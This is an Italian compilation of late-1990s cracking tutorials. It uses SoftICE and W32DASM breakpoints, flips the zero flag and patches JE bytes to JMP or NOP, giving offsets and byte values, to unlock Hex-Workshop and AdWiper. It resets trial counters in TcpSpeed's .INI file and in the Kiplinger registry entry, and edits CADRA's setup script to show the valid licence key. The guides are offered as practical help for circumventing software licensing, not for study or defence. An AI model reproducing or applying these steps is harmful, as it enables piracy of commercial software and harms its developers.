Se non vorrete scrivere tutto questo ogni volta che riavviate windows vi consiglio di scaricare il mio file oppure di modificare il vostro, sull l'ottimizzazione e l'uso di Softice dedicherò il mio prossimo tutorial.
Torniamo a noi, come si inizia a sbirciare il codice?
E' semplicissimo, per prima cosa dovete identificare un possibile punto d'attacco, ma noi questo l'abbiamo già fatto (mi riferisco al box che chiede il serial number), poi dovete scoprire quale funzione utilizza il prg per prelevare il testo dall'edit box, cercherò di essere più chiaro; allora, quando scriviamo un numero e premiamo "Register" il programma và a "guardare" ciò che è stato scritto, confronta quel risultato con quello reale e se sono uguali procede alla registrazione, per carpire il testo si usa in genere una funzione chiamata "GetWindowTextA", la "A" finale stà ad indicare che la funzione presa in considerazione è quella a 32-bit e non a 16.
Come si fà a sapere se un prog. usa una funzione oppure un'altra?
Per scoprirlo possiamo fare due cose: andare a tentoni oppure cliccare col pulsante destro del topo sul file e andare su anteprima (se non c'è si deve installare e si trova sul cd di windows), apparirà tutta una lista delle funzioni che utilizza.
Ma andiamo a registrare il prg, premiamo ctrl+d (da ora in poi scriverò ^D) e scriviamo: bpx getwindowtexta.
***
Ma cosa significa questo oscuro comando?
Bhè vediamolo: bpx significa breakpoint on execution e getwindowtexta è la funzione sulla quale vogliamo brekkare, in parole povere non

facciamo altro che chiedere a Sice di generare un'interruzione (che farà apparire la schermata del debugger) quando Hex-Workshop giunge su quella funzione, in pratica il breakpoint è una "trappola" che useremo praticamente sempre per fare ingresso nel codice di qualunque prg.
Tanto per capirci possiamo dire che spesso useremo l'istruzionebpx messageboxA per far poppare Sice quando ci viene mandato il box con su scritto: Insert the correct password.....The number is incorrect ecc.....
Se avete problemi o non avete capito qualcosa scrivetemi ed io cercherò di aiutarvi.
***
Premiamo invio e poi scriviamo X oppure premiamo F5 per tornare a win. A questo punto utilizziamo un cosidetto dummy number, cioè un numero che utilzzeremo spesso come "fake number", io uso sempre 666111666, inseriamo quindi questo numero nell box e premiamo ok!
Come speravamo vediamo Softice che fa la sua comparsa, adesso ci saranno una serie di numeri e scritte probabilmente incomprensibili, non vi preoccupate perchè presto impareremo a conoscerle.
Premiamo una volta F11 (serve per tornare da una chiamata ad una routine), 3 volte F12 (questo comando esegue una funzione finchè non trova l'istruzione "RET" che significa return),, 22 volte F10 (questo serve per fare single-step in una funzione, in pratica con F10 si procede passo passo nel codice)
e scriviamo: r fl z.
***
Riassumiamo il tutto:
F12: Esegue una funzione finchè non trova un'istruzione di ritorno
F11: Torna da una chiamata alla rispettiva routine
F10: Esegue ogni singola istruzione, in questo modo procediamo passo passo nel codice.
F8: Esegue semplicemente un'istruzione, viene in genere usato per seguire qualche chiamata (CALL) importante.
Una volta che saremo nel codice premeremo quasi sempre F11 come primo tasto e poi a seconda dei casi utilizzeremo F12 e F10.
F5: Torna a Winzoz.
r fl z: Questa istruzione è parecchio importante ed userò un breve esempio per spiegarla: quando la barra bianca del debugger passa su un jump (sono tutti jump quelle istruzioni che iniziano con la "J" come JMP, JNE, JAE, JB, JC...) sulla destra appare una scritta del tipo: "JUMP" oppure "NO JUMP", bene, con questa istruzione cambiamo il valore del flag Z, cioè trasformiamo la scritta "JUMP" in "NO JUMP" e viceversa, tutto ciò è molto utile nel caso che ci sia un salto dopo un'istruzione che controlla l'esattezza di un numero seriale (cioè la funzione salta se il seriale è esatto oppure non salta e ci manda il messaggio di errore), infatti con r fl z potremmo costringere la funzione a saltare e quindi anche a registrare il prg....;))
***

Premiamo F5 (scriviamo un user name e una company a piacere) e possiamo felicemente constatare che il programma è stato registrato.
Adesso vi spiegherò il codice che avete visto cosa significava.
Dopo aver premuto tutti quei tasti vi siete trovati davanti a delle righe simili a queste:
Attenzione i numeri prima dei due punti non sono stati inseriti poichè i vostri saranno sicuramente diversi. Ricordate anche che le istruzioni JZ (jump if zero) e JE (jump if equal) oppure JNZ (jump if not zero) e JNE

(jump if not equal) sono equivalenti e che il W32DASM sostituisce
sempre JZ con JE e JNZ con JNE.
significa: "numero" quindi #3 è = a "numero 3"
:0042625B E8CC4E0200 call 0044B12C
:00426260 8B8DFCFEFFFF mov ecx, dword ptr [ebp+FFFFFEFC]
:00426266 83C164 add ecx, 00000064
:00426269 E812BAFDFF call 00401C80
:0042626E 50 push eax
:0042626F 8D45DC lea eax, dword ptr [ebp-24]
:00426272 50 push eax
:00426273 E8C82D0100 call 00439040
:00426278 83C408 add esp, 00000008
:0042627B 68E8F74700 push 0047F7E8
:00426280 8D45DC lea eax, dword ptr [ebp-24]
:00426283 50 push eax
:00426284 E867450100 call 0043A7F0
:00426289 83C408 add esp, 00000008
:0042628C 85C0 test eax, eax<--- controlla il # vero con
il nostro
:0042628E 0F8414000000 je 004262B3<-- se il # è vero salta a
004262A8 (ricordate l'esempio dell'istruzione "r fl z" ?)
:00426294 8D45DC lea eax, dword ptr [ebp-24]
:00426297 50 push eax
:00426298 E823110100 call 004373C0
:0042629D 83C404 add esp, 00000004
:004262A0 8945EC mov dword ptr [ebp-14], eax
:004262A3 E907000000 jmp 004262AF
:004262AF 837DEC00 cmp dword ptr [ebp-14], 00000000
:004262B3 0F8479000000 je 00426332<--ricontrollalo e registra se
vero
:004262B9 8B8DFCFEFFFF mov ecx, dword ptr [ebp+FFFFFEFC]
:004262BF 83C164 add ecx, 00000064

Bene bene, vediamo cosa abbiamo fatto: immaginate un omino che di mestiere fa il corridore, qualcuno (la funzione) gli dice dove deve andare, gli dà un foglio con un numero (666111666) e gli dice anche di seguire le indicazioni, l'omino parte e trova una lettera, la apre e controlla (test eax, eax) il suo numero con quello della busta, un indicazione (je 004262B3) gli dice di saltare ad un altro pezzo di strada se il suo numero è uguale a quello della busta, nel nostro caso l'omino continua a correre finchè non incontra un'altra indicazione (cmp dword ptr....., 00000000) che gli dice dice di controllare "SE" il suo numero è sbagliato, se non lo è un'altra indicazione (je 00426332) gli comunica che può arrivare al traguardo usando qualche scorciatoia (va bene così aLoNg3x? ;)), questa spiegazione credo sia stata più facile da capire.
Potremmo riassumere la storia dell'omino in questo modo: il corridore arrivato al segnale je 00426332 (je= jz e jz= jump if zero) è stato gabbato da un furfantello (io il cracker) che ho cambiato momentaneamente le lettere trasformando "je" in "jmp" cioè jump, che significa: "Qualunque numero hai prendi una scorciatoia!"
Bello ehh? Si, un'ultima cosa e poi vi faccio riposare: il comando "r fl z" cambia solo momentaneamente il valore del flag, in pratica solo fino al riavvio del programma, se volessimo diffondere un crack, dovremmo creare un file che cambi il "je" in "jmp" ciò può essere fatto anche con l'editor esadecimale (ma nel nostro caso non è necessario) vi spiegherò tutte le tecniche nei prossimi tutorial.

Ciao e buon crack a tutti.
Piccola nota:
In genere tutti i prog. hanno un # check all'avvio, in pratica controllano che il numero di registrazione sia esatto, questo serve ad evitare che chiunque possa inserire un numero qualsiasi e registare il prg.
Hex-Workshop a registrazione esatta crea un file di registro (Hexworks.reg) dove inserisce tutte le informazioni, il file assume questa forma:

```
**********************************************
*    666111666 Quequero                *
*                CrackZ Corp.        *
*                              Kî'Ò  *
****************************************
```

Ovviamente asterischi esclusi!!!
Una volta creato il file il prg non mostra più la scritta "Unregistered" ne il pulsante di registrazione "Demo Version".

Quequero

Vorrei ringraziare aLoNg3x per avermi
dato acluni consigli su questo tute...

Tutorial N°3   16-2-1999

Impariamo ad usare SoftICE

In questo tutorial impareremo ad usare SoftICE, conosceremo l'uso delle varie funzioni ed impareremo anche a modificare il codice di un programma.

SoftICE

Come abbiamo già detto SoftICE ci mostra il codice assembler di un

programma, noi poi per scraccherellare il tutto abbiamo bisogno sia di conoscere l'Assembly, sia di saper usare il debugger, infatti come potremmo guidare una macchina senza conoscere il codice stradale e senza avere la patente?
Uno dei comandi che useremo più spesso sarà sicuramente "bpx" cioè breakpoint on execution che in pratica fa poppare Sice quando per esempio viene eseguita una funzione (GetWindowTextA, GetDlgItemTextA, MessageboxA ecc...) ma ovviamente ne esistono altri come per esempio:

bmp: breakpoint su un accesso alla memoria (possiamo utilizzarlo per vedere se una funzione legge o scrive su un determinato indirizzo)

bpr: bp (breakpoint) su un rango di memoria

bpio: bp su un accesso I/O

bpint: bp su un interrupt

bmsg: bp su un messaggio (lo useremo per brekkare su funzioni come WM_GETTEXT).
Per maggiori informazioni sui breakpoint vi rimando a questo tutorial.

Task: Questo comando visualizza tutti i processi attivi, viene in genere utilizzato in combinazione con Hwnd.

Hwnd: Mostra l'handle delle finestre di un determinato programma.
Ora vi spiegherò meglio come utilizzare questo comando insieme a bmsg.
Per prima cosa scegliete un programma vittima (io userò Hex-Workshop), avviatelo ed aprite la finestra di registrazione, avviate Sice (^D) e scrivete task per vedere con quale nome gira sotto Winzoz l'H-Workshop.
Il nome che appare per primo e che sembra essere l'unico possibile è: Hworks32.
Bene bene, scriviamo: Hwnd Hworks32 e premiamo invio.
Vedrete adesso molte scritte, noi vogliamo cercare l'handle della casella di testo nella quale dobbiamo scrivere il numero seriale, ma come si fà? Bhè l'unico modo che io conosca è scriversi tutti gli handle (prima colonna a sinistra) che presentano l'attributo edit nella colonna class-name (la 4° da sinistra) e poi provarli uno ad uno scrivendo: bmsg xxxx (qui va inserito un handle) wm_gettext, ecco un esempio: task
hwnd hworks32
bmsg 01A5C wm_gettext.
Una volta trovato quello giusto Sice popperà dopo aver premuto il pulsante di registrazione.

bd*: Disabilita tutti i bp può essere sostituito p.e. con bd00 (disabilita il 1° bp)

be*: Abilita tutti i bp il resto è uguale a "bd"

bl: Llista tutti i bp che stiamo utilizzando se appare un "*" il bp è disabilitato

bc*: Cancella tutti i bp la sintassi e come bp e be

bh: Ci dice tutti i bp che abbiamo usato dall'accensione del pc (molto utile)

?: p.e. "? eax" ci dice quale valore esadecimale, decimale ed ASCII contiene eax

d: "d eax" dump eax, ci fà vedere il suo indirizzo esadecimale (difficile da dire a parole)

code on-off: fà apparire il codice esadecimale di fianco alle istruzioni, ecco un esempio: 015F:00425867   JNZ   00425921 <-------code off

```
                015F:00425867   751E  JNZ   00425921     <-------code on
                                |----|<-------codice esadecimale
```

cercate di tenere questa istruzione sempre abilitata perchè molto importante, ora mi spiegherò meglio: se vogliamo cambiare un JNZ 00425921 in   JMP 00425921 dovremmo aprire l'eseguibile con l'editor esadecimale, cercare 751E e cambiarlo in EB1E, infatti EB significa JMP e 1E significa 00425921, nelle prossime pagine vi mostrerò una tabella con quasi tutti i valori esadecimali delle varie istruzioni, dovrete ricordare sempre che gli ultimi due caratteri (funziona solo per le istruzioni semplici a 4 caratteri, le altre cambiano) di ogni valore indicano l'indirizzo o il registro a cui si riferiscono, quindi dovrete cambiare solo i primi due e non gli ultimi a meno che non vogliate cambiare la direzione del salto oppure il nome del registro. P.E. il valore 85D2 significa: TEST EDX, EDX (ricordate questa istruzione? se no andate al tute N°2) però se lo cambiamo in 85F6 diventerà: TEST ESI, ESI, avete capito?

a (address) : "a 015F:00425867" ci permette di cambiare ciò che si trova all'indirizzo 015F:00425867, una volta premuto invio potremo scrivere per esempio: TEST EAX, EAX così il jnz verrà cambiato in test...

e (address): edit address, con questa funzione non possiamo cambiare le lettere come con "a 015F:00425867" ma dobbiamo agire sui valori esadecimali. Una volta premuto invio apprirà una finestra che mostra i valori, noi andremo a prendere i primi 4 caratteri "751E" ed andremo a scrivere "EB1E", vorrei ricordare che tutti i cambiamenti fatti dal debugger funzionano solo fino a che si riavvia il prog, dopodichè va tutto a farsi benedire.

Funzioni:

Visual Basic

__vbastrcmp,__vbastrcomp: Queste istruzioni vengono usate in VB per far comparire le stringhe (non chiedetemi nulla a riguardo visto che non conosco per niente il VB). Per usarle si deve mettere un bp su una delle due, inserire un numero nel box di registrazione, premere ok, aspettare Sice e prima di premere F11 si vede cos'è stato messo nello stack. Si esamina un registro (in genere EBP) in questo modo: dd ebp
e si controllano gli ultimi 8 valori con questo comando: d xxxxxxxx
si potrebbe anche trovare un seriale ;))))

__vbaR8Str: non ne sono sicuro ma dovrebbe essere l'equivalente di GetWindowTextA.

rtcmsgbox: Questo è MessageboxA in VB

C/C++

GetPrivateProfileStringA à Legge il file .INI dove spesso viene registrato il seriale, questa funzione si usa per disabilitare il number check all'avvio del programma.

GetWindowTextA à L'abbiamo già usata, comunque serve a copiare ciò che si trva nelle caselle di testo.

GetDlgItemTextA à Praticamente ugule alla precedente.

hmemcpyà Questa funzione grabba i tasti premuti sulla tastiera e puo essere sfruttata a nostro vantaggio nei sistemi di protezione che non utilizzano funzioni standard (GetWindowTextA, GetDlgItemInt, MessageBoxA ecc...) oppure in quei sistemi che abilitano il pulsante di registrazione solo se il codice è esatto, questo breakpoint funzioni infatti ogni volta che noi premiamo un tasto..bello vero?
Per ora altri comandi non mi vengono in mente.

MessageBoxA à Fà apparire un box di messaggio, la possiamo usare per entrare nel codice del programma dopo la "Beggar off" cioè il messaggio che ci dice che abbiamo sbagliato il seriale ecc....

GetSystemTime à Vede l'ora del sistema e si usa nei programmi che scadono dopo un'ora, due ore ecc....Per utilizzarla basta mettere un bp su di essa ed avviare il programma.

GetLocalTime à Controlla l'ora, il giorno ed il mese. Si usa nei programmi a scadenza di 30, 60, 90 gg ecc....Funziona come la precedente.

SetTickCount à Da quello che ho potuto vedere la funz. viene usata spesso per vedere negli shareware quanti giorni mancano all'espirazione del prog.

Cambiamo il codice al programma

Dopo aver scraccherellato per benino il nostro prog e dobbiamo cambiare qualche byte al programma è necessario sapere come cambiare le varie istruzioni, supponiamo di avere un pezzo di codice simile a questo e vediamo come ci dobbiamo comportare...

```
:004010CE 8B06            mov eax, dword ptr [esi]
:004010D0 85C0            test eax, eax
:004010D2 7409            je 004010DD
:004010D4 40              inc eax
:004010D5 E8E6EB0000      call 0040FCC0
:004010DA 83C404 add      esp, 00000004
          ^---codice      ^---istruzioni
          esadecimale
```

Il nostro crack consiste nel cambiare jE 004010DD in JMP 004010DD, per farlo avremo bisogno di cercare quel pezzo di codice esadecimale

all'interno dell'H-Workshop. Prendiamo nota di qualche numero prima e dopo del salto come ad esempio 85c0740940E8E6, clicchiamo sul pulsante "find" ed inseriamo quei numeri, il nostro bersaglio è il num. 7409 e per cambiarlo in jmp basterà prendere dalla tabella qui sotto i primi due numeri dell'istruzione JMP e mantenere integri i secondi due, così facendo sostituiremo l'istruzione 7409 in EB09 (vorrei dire che se nel codice del debugger doveste trovare un jump che abbia più di 4 cifre esadecimali allora dovrete usare il comando a xxxxxxxx, fare i cambiamenti a mano e vedere cosa appare in Sice, segnarlo ed andarlo a cambiare nell'editor).
E se il nostro crack avesse richiesto l'eliminazione dell'istruzione inc eax?
In questo caso bastava cercare la solita stringa e cambiare il 40 con 90, questo numero equivale all'istruzione NOP, cioè No Operation, significa che lì non deve succedere nulla e si deve passare oltre.
Se vi capitasse di dover cancellare un'istruzione o di dover lasciare spazi vuoti (p.e. se 68c88c deve diventare un jmp non potrete mai scrivere ebc88c) ricordate di sostituirli SEMPRE con un NOP.
Se per caso non siete sicuri di qualche cambiamento vi ripeto di provare prima con a xxxxxxxx.

Comando	Effetto	Comando	Effetto
EBXX0	JMP	33XX	XOR XXX, XXX
75XX	JNZ	77XX	JA
7CXX	JL	76XX	JBE
7EXX	JLE	C3	RET
7DXX	JGE	FFFF	INVALID
7FXX	JG	0000	ADD [EAX], AL
73XX	JAE	85XX	TEST XXX, XXX
74XX	JE/JZ	0BXX	

OR XXX, XXX
F4
HLT
90
NOP

Quequero
Passiamo ora al 4° tutorial dove craccheremo un prog facile facile
ed impareremo a "patchare" il prog.

Il nostro 2° crack

Eccomi di nuovo qui a scrivere un altro tute, scusate la mia assenza ma
sono stato estremamente impegnato e poi ho dovuto cercare un prog
molto facile da craccare, questa volta parleremo di AdWiper v1.02,
questo proggy non fa altro che velocizzare la connessione eliminando
tutti quei noiosi banner.
Lo potrete trovare qui.
Iniziamo, per prima cosa installate il prog (mi sembra ovvio ;) ed
apriamolo, vediamo subito un invitante bottone che ci chiede di
registrare AdWiper (anche se a noi dice solo "crackami, cackami" ;),
clickiamoci sopra e vediamo apparire un grazioso box che ci chiede un
seriale....mmmmm bene.
Vogliamo trovare il seriale?
Non sia mai! Perchè sniffare il numero (che è da lamer) quando abbiamo
le potenzialità di disabilitare il check?
In realtà questa è la soluzione più semplice da attuare, ed è questa la
strada che prenderemo.

Apriamo il nostro fidato W32DASM, facciamogli disassemblare l'eseguibile, clickiamo sul secondo pulsante da sinistra (String Data Referencies) e vediamo di trovare qualche "clue" oppure la "Beggar off" cioè: Incorrect Password, Your number does not match, Number Incorrect ecc... Ci siamo capiti?
Sulla prima riga leggiamo "Thank you for registering" azzzz buono, facciamo doppio click sulla scritta ed avremo davanti qualcosa del genere:

```
* Referenced by a CALL at Address:
|:00402787
|
:00401400 6AFF push FFFFFFFF
:00401402 6891DF4100 push 0041DF91
:00401407 64A100000000 mov eax, dword ptr fs:[00000000]
:0040140D 50 push eax
:0040140E 64892500000000 mov dword ptr fs:[00000000], esp
:00401415 51 push ecx
:00401416 8B442414 mov eax, dword ptr [esp+14]
:0040141A 53 push ebx
:0040141B 56 push esi
:0040141C 57 push edi
:0040141D 8BF1 mov esi, ecx
:0040141F 50 push eax
* Possible Reference to Dialog: DialogID_0066
|
* Possible Reference to String Resource ID=00102: "Thank you for
Registering!"
|
:00401420 6A66 push 00000066
:00401422 89742414 mov dword ptr [esp+14], esi
:00401426 E8EC110100 call 00412617
:0040142B 8D7E5C lea edi, dword ptr [esi+5C]
```

Mmmm questa cosa non mi piace, non vedo nè jump nè test nè altro, molto male, allora forse non va bene qui, cosa facciamo?
Nulla, apriamo di nuovo SDR (String Data Referencies) e facciamo un altro doppio click sulla prima riga....dovremmo avere qualcosa del genere:

```
:004021BB E890140000 call 00403650
:004021C0 83C408 add esp, 00000008
:004021C3 85C0 test eax, eax
:004021C5 745F je 00402226 <----Ricordate il numero 745F ci servirà dopo
* Possible Reference to Dialog: DialogID_0066
|
* Possible Reference to String Resource ID=00102: "Thank you for
Registering!"
|
:004021C7 6A66 push 00000066
:004021C9 8D4C240C lea ecx, dword ptr [esp+0C]
:004021CD E8B6440100 call 00416688
:004021D2 6A00 push 00000000
```

Adesso va bene, come potete vedere all'indirizzo 004021C5 troviamo un bel "jump if equal", se la funzione in quel punto non salta si dovrebbe

avere il messaggio di ringraziamento (ma che bravi questi
programmatori, ci ringraziano anche se crackiamo i loro programmilli ;),
provvediamo allora alla registrazione, dovrebbero bastare due semplici
"nop" per registrare il prog, ma a questo punto come facciamo a
cambiare i "connotati" all'adwiper?
Nulla di più semplice: andiamo in W32DASM, facciamo doppio click
sull'indirizzo del salto (004021C5) e se guardiamo in basso a destra
dovremmo avere una scritta di questo genere: @Offset xxxxxxxxh, che
nel bostro caso dovrebbe essere 000015C5h (la "h" sta a dire che si tratta
di un numero esadecimale).
Copiamo da qualche parte questo offset, apriamo l'Hex-Workshop,
carichiamo AdWiper.exe ed andiamo in Edit|Go to..., inseriamo l'offset
di prima e premiamo invio, ci troveremo davanti ad un ammasso di cifre
esadecimali e guarda caso il cursore si ferma su un 7 seguito da un 4 un
5 ed una F, in totale:745F, se andiamo a guardare in W32DASM, affianco
all'istruzione JE 00402226 c'è scritto proprio 745F, ciò significa che
questo è il codice esadecimale del salto, cavolo che carino.....adesso
per patchare il prog dobbiamo sostituire questo numero con 9090 che
significa (come dovreste sapere) nop nop, cioè la funzione arrivata in
quel punto non fà nulla e passa oltre, cioè alla registrazione.
Salviamo il file e quando ci viene chiesto di farne un backup diciamo di
si tanto per essere sicuri.
Il prog ogni volta che veniva avviato controllava se era stato registrato e
quindi faceva apparire il pulsante register... e cazzi vari, adesso come
potrete felicemente constatare viene presentata all'inizio la scrittina
"Thank you for Registering".
Bhè ci vediamo al prossimo tutorial.
Vorrei cogliere l'occasione di salutare alcuni cari amici come:
NeuRaL_Noise, +Malattia, War-lock, Alor, Along3x, _GEnius, ^courier,
YanOrel, Killexx, d4emon, Insanity, EL_Diablo (e la sorella ;), T3x,
KeRoUaC, Anub|s, N6U5, Vecna e basta, se ho dimenticato qualcuno
non l'ho fatto di proposito.

Se volete contattarmi mi troverete spesso su IRCnet, fatemi una query.

Alla prossima Quequero

ovvero
come si sputtanano le protezioni dei programmi senza essere veri crakkatori.

Innanzitutto premetto che questo articolo non e' forse il classico articolo
da SyStEmDoWn, non e' approfondito, non e' fatto da un mago dell' H/C/P ma
e' scritto da un ragazzo con una conoscenza media del PC e che ama divertirsi
con esso. Quindi se ritenete cio' che ho scritto delle boiate assurde, voi
grandi guru del crack, avete ragione!! Anzi diciamo cosi', se siete veri
crakkatori o gente gia' abbastanza esperta non leggetelo neanche!!
Sfortunatamente non sono un crakkatore, sto cercando di diventarlo
(grazie Xoanon per la guida !!) ma non lo sono ancora, questa mia storiella
e' indirizzata a coloro che, a volte, nei canali IRC domandano crack per questo
o quel programma e magari senza sapere cosa sono i file .INI o il Registro di
Windows '95 o i files di installazione.
A tutti puo' capitare di trovarsi di fronte ad un programma che, sfiga vuole,
nessuno conosce, nessuno ha visto, nessuno possiede il crack relativo :(.
Lo scopo di questo articolo e' far capire come, a volte, non serva parlare in
assembler, non serva saper smanettare con il Soft-Ice o disassemblare col
W32dasm per fottere un programma, basta un po' di intuizione e una dose
massiccia di CULO.
Ok, adesso vediamo tre esempi di come a volte e' facile aggirare
(completamente o in parte) una protezione senza essere veri crakkatori :
(I programmi molto probabilmente non vi saranno affatto familiari)

Esempi:

1) File .INI: TcpSpeed v1.01
2) Registro di Win95: Kiplinger Small Business Attorney
3) Files di Installazione: CADRA

Iniziamo:

1) File .INI: TcpSpeed v1.01

Il programma TcpSpeed e' una piccola utility che permette di misurare la
velocita' di collegamento con un sito che voi specificato. L'ho trovato
su un sito H/C/P (boh chissa' perche') e non e' che mi abbia esaltato troppo
infatti non funziona con tutti i siti ma solo con alcuni.
Comunque vediamo che limitazione ha:
senza dirvi nulla (o almeno nella mia versione non c'erano files che lo
spiegavano) il programma vi permette di utilizzarlo solo 10 volte + o -,
poi il maledetto cerca di collegarsi al suo server per cercare di registarsi.
Allora vediamo un po' se ha un contatore, dovra' pur salvare da qualche parte
il numero di avvii ?
Ok allora si puo' cercarlo prima nei file .ini che e' la cosa piu' semplice;
innanzitutto breve excursus sui file .ini (forse non tutti sanno cosa sono):
i file .INI sono dei file di inizializzazione che contengono informazioni
relative ad un programma, per esempio la posizione della finestra, gli ultimi
file aperti, e guarda un po' a volte i contatori o le registrazioni.
Si trovano nella directory di Win95 (ma a volte file con l'estensione .ini si
possono trovare anche nelle directory dei programmi) ed hanno di solito lo

stesso nome del programma relativo.

Esistono anche dei file .INI relativi a Windows 95:

WIN.INI dove si puo' trovare il tipo di stampante, lo sfondo, le impostazioni
per l'italia etc... e magari informazioni sui programmi (es. WinZip)

SYSTEM.INI dove ci sono i settaggi di sistema: tastiera, scheda video etc...

Personalmente consiglio di controllarli sempre tutti, per essere sicuri, e
di controllare anche tutti i file nella directory del programma (per vedere
se salva il valore da qualche parte li' magari in un file con un nome cazzuto
o nascosto).

Con questo programmino ci va proprio alla grande, nel file Tcpspeed.ini
c'e' proprio la linea Run Count= N.
Provate ad avviare il programma 1 volta, riguardate il file .ini e troverete
che e' cambiato in Run Count = N+1. Quando N = 10 il programma decide che lo
avete provato abbastanza e non va piu'.
Non fate altro che andare nella directory di Win95, aprite Tcpspeed.ini e
modificate il contatore riportandolo a 0 !
Ovviamente e' una cosa un po' grezza e provvisoria ma sempre meglio di
niente o no ?
SUGGERIMENTO DA PARTE DI BLINKING: Il mio caro compare suggerisce di settare
il file tcpspeed.ini READ ONLY cosicche' il programma non riesca a portare
avanti il contatore !!

2) Registro di Win95: Kiplinger Small Business Attorney

Il suddetto programma non e' molto interessante per il mercato italiano ma
ha comunque degli spunti interessanti; lo classificherei come un word
processor che guida alla composizione di garanzie (non avvisi!!), lettere,
accordi pre-matrimoniali, testamenti (tie'!!) etc..
Sfiga vuole che da dove l'ho recuperato non c'era il crack e penso di sapere
perche' mancava: la prima volta che avviate lo SBA dopo l'installazione il
programma parte tranquillamente, il problema e' che alla 2nda volta vi chiede
di registrarlo e vi concede 3 avvii senza codice di registrazione (come mi
fa incazzare la gente che distribuisce warez senza provare a fondo la roba!).
Il controllo dei file .INI non porta da nessuna parte e adesso come si fa ?

Con l'avvento di Windows '95 (evitiamo commenti sul sistema operativo), a
detta di molti giornali, i file .INI sarebbero dovuti scomparire per lasciare
spazio al fantomatico Registro di Configurazione. Effettivamente il numero
di questi file si e' ridotto e, oggigiorno, accade spesso che i settaggi
dei programmi siano messi tutti in questo Registro.
Per chi non lo sapesse (e penso che ce ne siano) per vedere il registro basta
digitare nella finestra Esegui... il comando Regedit e cosi' vi ritrovate
nell'Editor del Registro di Configurazione.
Adesso piazziamo una ricerca (Modifica..Trova) su Attorney e vediamo un po'
che succede...
Uhm sotto HKEY_CLASSES_ROOT mi ha trovato Kiplinger's Small Business Attorney

diamoci una occhiata: premiamo sul + di fianco e compare la chiave frIndex
clicchiamo su di essa e nella finestra di destra compare
|ab| predefinito "N"
dove N e' un numero

Bene proviamo a rieseguire il programma, poi torniamo qui e scopriamo che
N e' diventato N-1. La faccenda si fa interessante: proviamo a mettere 10
e avviamo il programma, adesso dovrebbe dirci che ci sono rimasti 10 avvii !
E chissa' che succede se ci piazzo un bel 1000 ???? :))
Un altro programma fottuto.

3) Files di Installazione: CADRA v10.0.1 per Windows

E ora, con un po' di orgoglio (si ditemi pure che sono un esaltato ed uno
spandi ma questa lavoretto mi fa godere come un porco) la mia Opera.

Prima cosa: cusale' l Cadra ? (trad. cos'e' il Cadra ?)
(xoanon scrive in livornese e io in varesotto)
Il Cadra e' un CAD (Computer Aid Design), cioe' un programma di disegno
tecnico tipo AutoCad x intenderci, prodotto dall'Adra e venduto alla modica
cifra di 10 zucche + o - (come ogni cad che si rispetti).

Seconda cosa : sa te fe cuse' dun Cad che l'e' minga famus ?
(trad. cosa te ne fai di un Cad che non e' famoso ?)
Lo usa mio pa' al lavoro e volevo dargli una mano da casa.

Terza cosa: che protezione ha ?
Bella domanda !!
Praticamente legge qualcosa dal Bios del PC, vede le opzioni del Programma
che volete attivare e la data in cui scadra' la licenza, legge la chiave
(nel formato XXX-XXXX) confronta il tutto e bum: la licenza che avete
inserito e' scorretta.

Quarta cosa: ma non potevi copiare la licenza di tuo padre?
Eh no, cosi mi deludete !
Ho detto che legge dal Bios quindi ogni PC e' diverso dall'altro!

Ed ora fottiamo questa protezione da 10 zucche!
Osservando bene bene il setup si scopre che la licenza va configurata
non all'interno del cad ma dal setup. Interessante...
Vi e' mai capitato di dare una occhiata a quei file chiamati setup.lst
setup.inf e setup.mst? No? Male! Dovreste! Come dice mio nonno bisogna
sempre OSSERVARE e CAPIRE il mondo attorno a noi! (Meditate gente Meditate)
(non tutti i programmi li hanno, dipende dal tipo di installazione, quelli
fatti con l'InstallShield no e sfortunatamente ora ne fanno tanti di setup
con quello)
Li illustro velocemente :

Setup.lst : informazioni generali tipo titolo finestra, file necessari etc..
Setup.Inf : contiene l'elenco di tutti i file che verranno installati (io
          lo modifico quando copio un programma e voglio tagliarci dalla

installazione magari 20Mb di Immagini inutili senza far impastare
l'installazione)
Setup.mst : il file veramente interessante, la sua descrizione presa dal file
e' questa :

Setup script for Cadra for Windows. Written in MSTEST Basic
This code is rather tightly coupled to setup.dll

Bene bene e' lo script di installazione scritto in una specie di Basic che contiene le info sulle procedure di installazione (tipo se schiaccio questo succede quest'altro). Attenzione la 2nda linea ci dice che il file e' accoppiato con il file setup.dll (Cio' e' importante perche' i messaggi che vengono visualizzati vengono presi dalla dll, io ho dovuto modificare brutalmente la DLL per far inserire i miei commenti nel setup trasformato in generatore di Licenze ma non e' importante per ottenere le licenze)

Allora apriamo questo script e facciamo una ricerca con License, Register, Registration, Incorrect, Lic ,etc...
Troviamo un po' di cose, con un po' di pazienza becchiamo la routine giusta:

IsLicKeyValid -- Returns true if number is legal.

cioe' se la licenza inserita e' giusta riporta True (vero) (e' quindi di tipo booleano VERO/FALSO; per maggiori infos leggete un libro di matematica o di programmazione)

Bene, avanti cosi' !
Scrolliamo un po' la routine fino a che, to' guarda qui, troviamo un bel

IF (bufkey$ = n$) THEN IsLicKeyValid = TRUE

GULP !
Spieghiamo un po' per i non-programmatori
Se la stringa bufkey$ e' uguale a n$ allora IsLicKeyValid e' vero (cioe' abbiamo inserito la licenza giusta)

Sempre Meglio :))

Quindi, probabilmente ci sarete arrivati, una stringa e' quella che ho messo io a caso e l'altra quella giusta !
Bastera' visualizzare le 2 stringhe per vedere quella mia e quella giusta !!
Allora, siccome non so programmare in MSTEST BASIC cerco la funzione x visualizzare un messaggio, la scopiazzo spudoratamente e ci faccio una lieve modifica

per esempio questa :
t$ = "The drive letter is missing or invalid. Please enter a valid drive."
r% = DoMsgBox(t$,"Cadra for Windows Setup")

che visualizza un messagge box con scritto il contenuto di t$

e la piazzo prima di If.... modificata cosi'

r% = DoMsgBox("La chiave corretta e': " + bufkey$,"Sprotezione Effettuata da Cavallo de Cavallis", MB_OK + MB_ICONEXCLAMATION)

P.S. Io so gia' che bufkey$ e' quella giusta, avrei dovuto prima mettere
"le 1ma chiave e' "+ bufkey$ + " la 2nda e' " + n$, osservarle, capire quale era quella giusta.. comunque ci siamo capiti.

Beh riavviate il setup cosi' modificato ed eccovi visualizzata la chiave giusta !!

P.S. Fatevi una copia di backup dei file PRIMA !! Non vorrete perdere il
programma per un errore !!

Bene ho concluso la mia piccola guida alla sopravvivenza per non-crakkatori.
Spero di aver aiutato qualcuno, di non aver deluso nessuno, di non aver fatto incazzare nessun vero crakkatore (Se vi ho fatto inkazzare, fatemi un corso crackin oriented cosi' faccio cose piu' interessanti).
